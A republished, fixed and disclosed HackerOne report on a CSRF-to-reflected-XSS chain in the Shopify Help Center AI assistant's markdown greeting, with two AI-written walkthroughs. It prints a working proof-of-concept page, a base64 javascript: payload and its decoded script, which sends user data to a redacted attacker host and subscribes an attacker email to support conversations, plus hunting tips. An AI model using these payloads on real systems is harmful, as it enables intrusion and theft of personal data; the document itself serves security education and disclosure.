Skip to content
XSS Disclosed report Intermediate

Reflected XSS in AI Chat Bot Greetings at help.shopify.com via Markdown Image Rendering

A cross-site POST to the Help Center search route could set an attacker-controlled greeting value, which was rendered as markdown in the AI assistant greeting. By using a markdown image or link target with a javascript: URL, an attacker could execute JavaScript in an authenticated help.shopify.com session after the victim opened the crafted page and activated the rendered greeting link.

saltymermaid Follow

Originally disclosed on HackerOne

Bounty$1,600 Medium 4.2 View original
  • Triaged in 6 days
  • Fixed in 3 months
  • Paid in 13 days
  • Disclosed after 2.1 years

Summary by the program

The researcher reported a reflected XSS in the Help Center AI assistant greeting flow. A cross-site POST to the Help Center search route could set an attacker-controlled greeting value, which was then rendered as markdown in the assistant greeting. By using a markdown image or link target with a javascript: URL, the attacker could execute JavaScript in an authenticated help.shopify.com session after the victim opened the crafted page and activated the rendered greeting link.

Shopify fixed the issue by removing the attacker-controlled greeting input path. This report was assessed in 2024 under the version of the Shopify Bug Bounty Calculator in use at the time. The report demonstrated a concrete, reproducible issue in a Shopify-owned authenticated application outside storefront execution. This is the kind of concise, high-quality research we have come to expect from this researcher, and it provides a strong example of an in-scope XSS report.

The report

Hey,

Summary

I was able to leverage a potential CSRF at help.shopify.com which can lead to RXSS via the AI assistant chat greetings by abusing the way markdown images are rendered in the chat.

The AI bot at help.shopify.com has the ability to use markdown to improves conversation experience, while we customer, can't really use it. In the greetings process, I noticed that the URL was being reflected which lead me to investigate and see if it could be abused in some ways.

Description

The issue starts with the following CSRF where a POST request is made to https://help.shopify.com/en/search to set the AI greetings in the victim's session.

HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shopify Search Form</title>
</head>
<body>
    Please hold...
    
    <form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
        <input type="hidden" name="query" value="Is this XSS?">
        <input type="hidden" name="greeting" value="![Mouse wheel click here for more info...](javascript:eval(atob('ZmV0Y2goYC8v████████/JHtKU09OLnN0cmluZ2lmeSh3aW5kb3cuX19yZW1peENvbnRleHQuc3RhdGUubG9hZGVyRGF0YS5yb290LnVzZXJJbmZvKX1gKTsgZmV0Y2goIi9tZXNzYWdlcy9ncmFwaHFsIiwgeyAiaGVhZGVycyI6IHsgImNvbnRlbnQtdHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIiwgIngtc2hvcGlmeS1yZWFjdC14aHIiOiAiMSIgfSwgImJvZHkiOiBgeyJ2YXJpYWJsZXMiOnt9LCJxdWVyeSI6InF1ZXJ5IGNvbnZzIHsgY29udmVyc2F0aW9ucyhmaXJzdDogMTAwKSB7IGVkZ2VzIHsgbm9kZSB7IGlkIH0gfSB9IH0ifWAsICJtZXRob2QiOiAiUE9TVCIgfSkgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKSAudGhlbihkYXRhID0+IHsgY29uc3QgY2lkID0gSlNPTi5wYXJzZShkYXRhKS5kYXRhLmNvbnZlcnNhdGlvbnMuZWRnZXNbMF0ubm9kZS5pZCA/PyBudWxsOyBmZXRjaCgiL21lc3NhZ2VzL2dyYXBocWwiLCB7ICJoZWFkZXJzIjogeyAiY29udGVudC10eXBlIjogImFwcGxpY2F0aW9uL2pzb24iLCAieC1zaG9waWZ5LXJlYWN0LXhociI6ICIxIiB9LCAiYm9keSI6IGB7InZhcmlhYmxlcyI6e30sInF1ZXJ5IjoibXV0YXRpb24gc3Vic2NyaWJlckNyZWF0ZSB7IHN1YnNjcmliZXJDcmVhdGUoY29udmVyc2F0aW9uSWQ6IFxcIiR7Y2lkfVxcIiwgZW1haWw6IFxcInNhbHR5bWVybWFpZEB3ZWFyZWhhY2tlcm9uZS5jb21cXCIpIHsgX190eXBlbmFtZSB9fSJ9YCwgIm1ldGhvZCI6ICJQT1NUIiB9KTsgfSk7')))">
    </form>
    
	<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
        <input type="hidden" name="q" value="Is this XSS?">
    </form>
    
    <script>
        document.getElementById('post-form').submit();
        setTimeout(() => {
            document.getElementById('get-form').submit();
        },2000);
    </script>
</body>
</html>

Notice that the value of the greeting input with the base64 encoded payload is set via the markdown image {{media:0}}. The base64 encoded string contains the XSS payload, which roughly translates to the following:

JavaScript
// At worst, if no support conversation exists, we leak victims' PII to attacker's controlled domain
fetch(`//████████?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);

// Fetch victim's last support inbox conversation.
fetch("/messages/graphql", {
  "headers": {
	"content-type": "application/json",
	"x-shopify-react-xhr": "1"
  },
  "body": `{\"variables\":{},\"query\":\"query convs { conversations(last: 1) { edges { node { id } } } }\"}`,
  "method": "POST"
})
.then(response => response.text())
.then(data => {

   // Try to subscribe to the victim's conversation which will send an email to the attacker and allow him to join the conversation
	const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
	fetch("/messages/graphql", {
	  "headers": {
		"content-type": "application/json",
		"x-shopify-react-xhr": "1"
	  },
	  "body": `{\"variables\":{},\"query\":\"mutation subscriberCreate { subscriberCreate(conversationId: \\\\"${cid}\\\\", email: \\\\"[email protected]\\\\") { __typename }}\"}`,
	  "method": "POST"
	});

});

Steps To Reproduce

  1. Browse to https://help.shopify.com and log in so that the described behavior work

  2. Visit the following POC https://████████/shopify-help-xss which contains the initial CSRF and setup the attack

  3. You should be automatically redirected to https://help.shopify.com/en/search/{some-token-here} and the AI chat greetings should contain the broken markdown image: ████████

  4. Because the link has target=_blank, you will sadly need to mouse wheel click the link to trigger the XSS. It should fire both graphql request which you can observe in your dev console network tabs

  5. First, notice that some of your PII have been leaked to https://████████/

  6. Second, notice that [email protected] was added as a subscriber of your last conversation

Impact

I'm a bit short on time, but the impact is pretty clear. The initial CSRF allows the attacker to setup the XSS payload and the XSS have the potential to leak PII and/or update support conversations.

If you have questions or issues reproducing, let me know.

Cheers!

The original report as published on HackerOne, by saltymermaid. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target is help.shopify.com, the Shopify Help Center. The feature in play is the AI assistant chat, which renders its messages as markdown to make conversations easier to read. Customers cannot normally author markdown in that chat, but the greeting flow that seeds the assistant's opening message does accept a greeting value, and that value is rendered as markdown.

The researcher found that the greeting value could be set cross-site through the Help Center search route, and that the markdown renderer would accept a javascript: URL in an image or link target. Chaining the two gave reflected XSS in an authenticated help.shopify.com session.

Setup

The only precondition stated is an authenticated session: step one of reproduction is to browse to https://help.shopify.com and log in so that the described behaviour works. The attack itself is delivered from an attacker-controlled page, which the report refers to as the POC at https://████████/shopify-help-xss. No tooling, versions or special roles are mentioned.

Finding it

The researcher leveraged a potential CSRF on help.shopify.com and looked at how the AI assistant greetings are set. During the greeting process the URL was being reflected, which prompted the question of whether that reflection could be abused. The observation that the bot renders markdown, while customers cannot really use it, was noted alongside the reflected URL in the greeting process.

Exploitation

Step 1: Set the greeting cross-site with a POST

The first request is a cross-site POST to the search route, which stores the AI greeting in the victim's session. The page below is the researcher's proof of concept.

HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shopify Search Form</title>
</head>
<body>
    Please hold...

    <form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
        <input type="hidden" name="query" value="Is this XSS?">
        <input type="hidden" name="greeting" value="![Mouse wheel click here for more info...](javascript:eval(atob('ZmV0Y2goYC8v████████/[redacted]+[redacted]/[redacted]')"))">
    </form>

	<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
        <input type="hidden" name="q" value="Is this XSS?">
    </form>

    <script>
        document.getElementById('post-form').submit();
        setTimeout(() => {
            document.getElementById('get-form').submit();
        },2000);
    </script>
</body>
</html>

The POST form targets https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search and carries two fields: query set to Is this XSS? and greeting set to a markdown image whose target is a javascript: URL. The image alt text is Mouse wheel click here for more info..., and the URL body is a base64 string passed to eval(atob(...)). The page submits the POST form immediately, then submits a second, GET form to the same _data route with q set to Is this XSS? after a two second delay.

Step 2: What the base64 payload does

The base64 string contains the XSS payload. The researcher provides a readable translation of it:

JavaScript
// At worst, if no support conversation exists, we leak victims' PII to attacker's controlled domain
fetch(`//████████?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);

// Fetch victim's last support inbox conversation.
fetch("/messages/graphql", {
  "headers": {
	"content-type": "application/json",
	"x-shopify-react-xhr": "1"
  },
  "body": `{\"variables\":{},\"query\":\"query convs { conversations(last: 1) { edges { node { id } } } }\"}`,
  "method": "POST"
})
.then(response => response.text())
.then(data => {

   // Try to subscribe to the victim's conversation which will send an email to the attacker and allow him to join the conversation
	const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
	fetch("/messages/graphql", {
	  "headers": {
		"content-type": "application/json",
		"x-shopify-react-xhr": "1"
	  },
	  "body": `{\"variables\":{},\"query\":\"mutation subscriberCreate { subscriberCreate(conversationId: \\\"${cid}\\\", email: \\\"[redacted]\\\") { __typename }}\"}`,
	  "method": "POST"
	});

});

The payload has three parts. First, it sends the victim's user information, read from window.__remixContext.state.loaderData.root.userInfo, to an attacker-controlled host; the researcher notes this is the worst case when no support conversation exists. The researcher notes that at worst, if no support conversation exists, this is where the victim's PII leaks. Second, it queries /messages/graphql for the victim's last support inbox conversation and extracts its node id. Third, it calls the same endpoint with a subscriberCreate mutation using that conversation id and the researcher's email address, which subscribes the attacker to the victim's conversation.

Step 3: Land on the search page and render the greeting

After the forms are submitted, the victim is automatically redirected to https://help.shopify.com/en/search/{some-token-here}, and the AI chat greeting contains the broken markdown image. The report shows a screenshot of this state, which is not reproduced here.

Step 4: Trigger the XSS

Because the rendered link has target=_blank, the researcher notes that a plain click is not enough: the victim has to mouse wheel click the link to trigger the XSS. When it fires, both GraphQL requests can be observed in the browser's developer console network tab.

Step 5: Observe the PII leak

The first observable result is that some of the victim's PII has been sent to https://████████/.

Step 6: Observe the subscription

The second observable result is that [redacted] has been added as a subscriber of the victim's last conversation.

Root cause

The greeting value was attacker-controllable through a cross-site POST to the search route, and the assistant rendered that value as markdown without preventing a javascript: URL in an image or link target. The markdown image in the greeting therefore became a clickable link that executed script in the help.shopify.com origin once activated. The report does not describe the sanitisation logic, so the exact reason the javascript: scheme was accepted is not stated. The CSRF protection on the search route is likewise not discussed; the report only demonstrates that the cross-site POST succeeded.

Impact

In an authenticated help.shopify.com session, the script can read the user information exposed in the Remix loader data and send it to an attacker-controlled domain, and it can query and mutate the victim's support conversations through /messages/graphql. The researcher describes the potential as leaking PII and/or updating support conversations. Two conditions limit it: the victim must be logged in, and the victim must mouse wheel click the rendered greeting link because it opens with target=_blank. The PII leak is described as the worst case when no support conversation exists.

Fix

Shopify fixed the issue by removing the attacker-controlled greeting input path. The report does not describe any other change.

Variants to test

  1. Other routes that accept a value later rendered as markdown by a bot or assistant. A positive result is a stored or reflected value that comes back as a rendered image or link.
  2. Markdown renderers that allow javascript: in image or link targets. A positive result is a rendered link that executes script when activated.
  3. Cross-site POSTs to search or greeting endpoints that set session state. A positive result is a value you control appearing in the victim's session without a token check.
  4. GraphQL endpoints reachable from the rendered page, such as /messages/graphql here. A positive result is a query or mutation that succeeds with the victim's session and returns data or changes state.
  5. Client-side state objects such as window.__remixContext.state.loaderData. A positive result is user information readable from that object and exfiltratable.

Hunting notes

This kind of bug hides where a server-side value is reflected into a markdown renderer, especially in chat, assistant and greeting flows where the customer normally cannot author markdown. During recon, look for _data routes on Remix applications, POST endpoints that set session state, and any greeting or welcome parameter. The signals are a reflected URL in a greeting, markdown rendering of that value, and links rendered with target=_blank. The researcher demonstrated both the PII leak and the subscription to the victim's conversation, with the requests visible in the network tab.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

Shopify runs a Help Center at help.shopify.com. That site has an AI assistant: a chat bot that answers questions. To make its answers easier to read, the bot writes its messages in markdown, a simple way of formatting text with symbols. For example, ![some text](some-link) is markdown for an image, and the text in the square brackets is what shows if the image cannot load.

The researcher found two weaknesses that, joined together, let an attacker run their own JavaScript inside a logged-in visitor's Help Center session:

  1. The page that starts a chat with the bot (the "greeting" flow) accepted a greeting value from a form on another website. That is a CSRF (cross-site request forgery): your browser is tricked into sending a request to a site you are logged in to, from a page you do not trust.
  2. The bot displayed that greeting as markdown, and the markdown renderer accepted a javascript: link. A javascript: link is a link whose "address" is actually a piece of code; clicking it runs that code in the page you are on.

So the attacker's page quietly set a greeting containing a booby-trapped markdown image. The victim was then automatically redirected to the Help Center search page, where the greeting appeared as a link. If the victim activated that link, the attacker's code ran with the victim's logged-in permissions. It could read the victim's account details and send them to the attacker, and it could subscribe the attacker's email address to the victim's support conversation.

Shopify fixed it by removing the path that let an attacker supply the greeting. The report was rated medium severity (CVSS 4.2) and paid a 1,600 USD bounty.

The pieces you need to know first

Before walking through the attack, here are the ideas it relies on, explained from zero.

  • A web page and its origin. A browser groups websites by origin, roughly the scheme plus the domain (https://help.shopify.com). Code running on one origin is not supposed to be able to read data from another origin. Most web attacks are about getting code to run on the victim's origin, because then the browser treats it as trusted.
  • JavaScript. The programming language browsers run. If an attacker can get their JavaScript to run inside help.shopify.com, that script can do anything the logged-in user could do on that site.
  • A session and a cookie. When you log in, the server gives your browser a small piece of data (a cookie or token) that it sends back on every later request, so the server knows who you are. Anything that runs in your browser on that site can use that session.
  • An API and GraphQL. An API is a way for a web page to talk to a server and ask for data, like a waiter taking your order to the kitchen. GraphQL is a particular style of API where the page sends a query describing exactly which fields it wants. Here the endpoint is /messages/graphql, which handles support conversations.
  • CSRF (cross-site request forgery). Imagine a form on a stranger's website that posts to your bank. If your bank only checks that you are logged in, and not that the request really came from the bank's own page, the request succeeds. That is CSRF: the attacker makes your browser send the request, with your cookies attached.
  • XSS (cross-site scripting). Getting an attacker's JavaScript to run inside a trusted site. Reflected XSS means the malicious value is echoed back to the victim in a response, rather than permanently stored on the server.
  • Markdown and javascript: URLs. Markdown turns ![alt](target) into an image and [text](target) into a link. Normally the target is a web address. A javascript: target is not an address at all: it is code, and browsers that allow it will execute it when the link is activated.
  • Base64 and atob. Base64 is a way of writing arbitrary data using only ordinary letters and digits, so it can travel safely inside a form field. Attackers use it to hide a payload from casual reading.
  • fetch. A browser function that sends a request to a server from JavaScript and returns the response. It is how the payload talks to the API.
  • PII. Personally identifiable information: data that identifies a person, such as a name or email address.
  • target=_blank. An HTML attribute on a link that tells the browser to open it in a new tab. The report notes that the rendered greeting link had this attribute, which matters for triggering the attack.
  • The developer console network tab. A panel in the browser's developer tools that lists every request the page makes. It is how the researcher observed the attack working.

Setup

The only precondition the report states is that the victim must be logged in. Step one of reproduction is to browse to https://help.shopify.com and log in, so that the described behaviour works. The attack is delivered from a page the attacker controls, which the report calls the POC at https://████████/shopify-help-xss. No special tools, software versions or account roles are mentioned.

Finding it

The researcher leveraged a potential CSRF on help.shopify.com and looked at how the AI assistant greetings are set. During the greeting process, the URL was being reflected back, which raised the question of whether that reflection could be abused. The observation that the bot renders markdown, while customers cannot really use it, was noted alongside the reflected URL in the greeting process.

Exploitation

Step 1: Set the greeting from another site with a POST

The first request is a cross-site POST to the search route, which stores the AI greeting in the victim's session. The page below is the researcher's proof of concept. It is a normal HTML page: a form, a second form, and a short script.

HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shopify Search Form</title>
</head>
<body>
    Please hold...

    <form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
        <input type="hidden" name="query" value="Is this XSS?">
        <input type="hidden" name="greeting" value="![Mouse wheel click here for more info...](javascript:eval(atob('ZmV0Y2goYC8v████████/[redacted]+[redacted]/[redacted]'))">
    </form>

	<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
        <input type="hidden" name="q" value="Is this XSS?">
    </form>

    <script>
        document.getElementById('post-form').submit();
        setTimeout(() => {
            document.getElementById('get-form').submit();
        },2000);
    </script>
</body>
</html>

Line by line, in plain words:

  • The <head> block is ordinary page setup: character set, viewport and a title. Nothing security relevant happens there.
  • Please hold... is text shown to the victim while the page does its work.
  • The first form, post-form, has action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" and method="POST". The action is where the form sends its data; the _data part of the address is a special route the site uses to receive data requests. POST means "send data to the server", as opposed to GET, which just asks for a page.
  • The first hidden input, query, carries the value Is this XSS?. It is the search term the form pretends to submit.
  • The second hidden input, greeting, is the important one. Its value is a markdown image: ![Mouse wheel click here for more info...](javascript:eval(atob('...'))). The square brackets hold the text shown if the image fails, and the round brackets hold the target. Here the target is not a picture but javascript:eval(atob('...')): code that decodes a base64 string and runs it. Because the field is hidden, the victim never sees it.
  • The second form, get-form, sends a GET request to the same _data route with a field named q set to Is this XSS?. It looks like a follow-up request to make the site show the search page.
  • The <script> at the bottom does the automation. document.getElementById('post-form').submit(); submits the first form immediately, so the greeting is stored without the victim clicking anything. Then setTimeout(() => { document.getElementById('get-form').submit(); },2000); waits two seconds and submits the second form, which takes the victim to the search page where the greeting is displayed.

Why this step matters: the victim only has to visit the attacker's page. Their browser sends the POST to help.shopify.com with their session attached, and the site accepts it. That is the CSRF half of the bug.

Step 2: What the base64 payload does

The long base64 string inside atob(...) is the actual attack code, encoded so it is not obvious at a glance. The researcher provides a readable translation of it:

JavaScript
// At worst, if no support conversation exists, we leak victims' PII to attacker's controlled domain
fetch(`//████████?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);

// Fetch victim's last support inbox conversation.
fetch("/messages/graphql", {
  "headers": {
	"content-type": "application/json",
	"x-shopify-react-xhr": "1"
  },
  "body": `{\"variables\":{},\"query\":\"query convs { conversations(last: 1) { edges { node { id } } } }\"}`,
  "method": "POST"
})
.then(response => response.text())
.then(data => {

   // Try to subscribe to the victim's conversation which will send an email to the attacker and allow him to join the conversation
	const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
	fetch("/messages/graphql", {
	  "headers": {
		"content-type": "application/json",
		"x-shopify-react-xhr": "1"
	  },
	  "body": `{\"variables\":{},\"query\":\"mutation subscriberCreate { subscriberCreate(conversationId: \\\"${cid}\\\", email: \\\"[redacted]\\\") { __typename }}\"}`,
	  "method": "POST"
	});

});

The payload has three parts:

  1. Send the victim's details to the attacker. fetch(//████████?${...}) makes the victim's browser request a URL on a server the attacker controls, with the victim's user information appended after the ?. That information is read from window.__remixContext.state.loaderData.root.userInfo, a JavaScript object the page keeps in the browser holding the logged-in user's data. The comment explains the worst case: if the victim has no support conversation, this is where their PII leaks.
  2. Find the victim's last support conversation. The first fetch("/messages/graphql", ...) sends a GraphQL query asking for conversations(last: 1) and, for each, the node { id }. In other words: give me the identifier of my most recent conversation. The headers say the body is JSON and mark the request as coming from the site's own front end. The .then(response => response.text()) waits for the reply and turns it into text, and the next .then(data => { ... }) runs once the reply has arrived.
  3. Subscribe the attacker to that conversation. Inside the second .then, JSON.parse(data).data.conversations.edges[0].node.id pulls the conversation id out of the reply. Then a second fetch to the same /messages/graphql endpoint sends a GraphQL mutation called subscriberCreate, passing that conversation id and the researcher's email address. A mutation is a GraphQL request that changes something on the server, unlike a query which only reads. The comment says the effect: the attacker is added as a subscriber, which sends them an email and lets them join the conversation.

Why this step matters: this is the XSS half. The code only runs because the greeting was rendered as markdown and the link was activated. Once it runs, it is inside help.shopify.com, so the browser sends the victim's session with each request and the API treats the calls as the victim's own.

Step 3: Land on the search page and see the greeting

After the forms are submitted, the victim is automatically redirected to https://help.shopify.com/en/search/{some-token-here}, and the AI chat greeting contains the broken markdown image. The report shows a screenshot of this state, which is not reproduced here.

Step 4: Trigger the XSS

Because the rendered link has target=_blank, the researcher notes that a plain click is not enough: the victim has to mouse wheel click the link to trigger the XSS. When it fires, both GraphQL requests can be seen in the browser's developer console network tab. That tab is simply a list of every request the page made, which is why it is a convenient way to prove the attack worked.

Step 5: Observe the PII leak

The first observable result is that some of the victim's PII has been sent to https://████████/. In the network tab this appears as a request to the attacker's server carrying the user information.

Step 6: Observe the subscription

The second observable result is that [redacted] has been added as a subscriber of the victim's last conversation. That is the effect of the subscriberCreate mutation.

Root cause

The greeting value could be controlled by an attacker through a cross-site POST to the search route, and the assistant rendered that value as markdown without preventing a javascript: URL in an image or link target. The markdown image in the greeting therefore became a clickable link that executed script in the help.shopify.com origin once activated. The report does not describe the sanitisation logic, so the exact reason the javascript: scheme was accepted is not stated. CSRF protection on the search route is likewise not discussed; the report only demonstrates that the cross-site POST succeeded.

Impact

In a logged-in help.shopify.com session, the script can read the user information exposed in the Remix loader data and send it to an attacker-controlled domain, and it can query and change the victim's support conversations through /messages/graphql. The researcher describes the potential as leaking PII and/or updating support conversations. Two conditions limit it: the victim must be logged in, and the victim must mouse wheel click the rendered greeting link because it opens with target=_blank. The PII leak is described as the worst case when no support conversation exists.

Fix

Shopify fixed the issue by removing the attacker-controlled greeting input path. The report does not describe any other change.

Variants to test

  1. Other routes that accept a value later rendered as markdown by a bot or assistant. A positive result is a stored or reflected value that comes back as a rendered image or link.
  2. Markdown renderers that allow javascript: in image or link targets. A positive result is a rendered link that executes script when activated.
  3. Cross-site POSTs to search or greeting endpoints that set session state. A positive result is a value you control appearing in the victim's session without a token check.
  4. GraphQL endpoints reachable from the rendered page, such as /messages/graphql here. A positive result is a query or mutation that succeeds with the victim's session and returns data or changes state.
  5. Client-side state objects such as window.__remixContext.state.loaderData. A positive result is user information readable from that object and exfiltratable.

Hunting notes

This kind of bug hides where a server-side value is reflected into a markdown renderer, especially in chat, assistant and greeting flows where the customer normally cannot author markdown. During recon, look for _data routes on Remix applications, POST endpoints that set session state, and any greeting or welcome parameter. The signals are a reflected URL in a greeting, markdown rendering of that value, and links rendered with target=_blank. The researcher demonstrated both the PII leak and the subscription to the victim's conversation, with the requests visible in the network tab.

Glossary

  • API: a way for one piece of software to ask another for data or actions, like a waiter carrying orders to a kitchen.
  • Base64: an encoding that turns any data into ordinary letters and digits so it can travel inside text fields; atob decodes it in the browser.
  • Cookie: a small piece of data a site stores in your browser and sends back on each request so the server recognises your session.
  • CSRF (cross-site request forgery): tricking a logged-in victim's browser into sending a request to a site from a page the victim does not control, so the site acts on the victim's behalf.
  • CVSS: a standard scoring system for the severity of a security flaw; higher numbers mean more serious.
  • Developer console network tab: a browser panel listing every request a page makes, used to observe and prove an attack.
  • GraphQL: an API style where the client sends a query describing exactly which fields it wants; a query reads data and a mutation changes it.
  • Greeting: the opening message the AI assistant shows when a chat starts.
  • JavaScript: the programming language browsers run; code running on a site's origin can act with the user's session there.
  • javascript: URL: a link target that is code rather than an address; activating it runs the code in the current page.
  • Markdown: a simple text formatting syntax; ![alt](target) is an image and [text](target) is a link.
  • Mutation: a GraphQL request that changes data on the server, as opposed to a query that only reads.
  • Origin: the combination of scheme, domain and port that browsers use to decide which code may access which data.
  • POC (proof of concept): a minimal working example that demonstrates a vulnerability.
  • POST / GET: HTTP methods; POST sends data to the server, GET asks for a resource.
  • Reflected XSS: cross-site scripting where the malicious value is echoed back in a response rather than stored on the server.
  • Remix: a web framework; it keeps page data in a client-side object, here window.__remixContext.state.loaderData.
  • Session: the state of being logged in, maintained by a cookie or token sent with each request.
  • target=_blank: an HTML attribute that makes a link open in a new tab.
  • XSS (cross-site scripting): getting an attacker's JavaScript to run inside a trusted website, where it can act as the logged-in user.

More by saltymermaid

View all

6 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.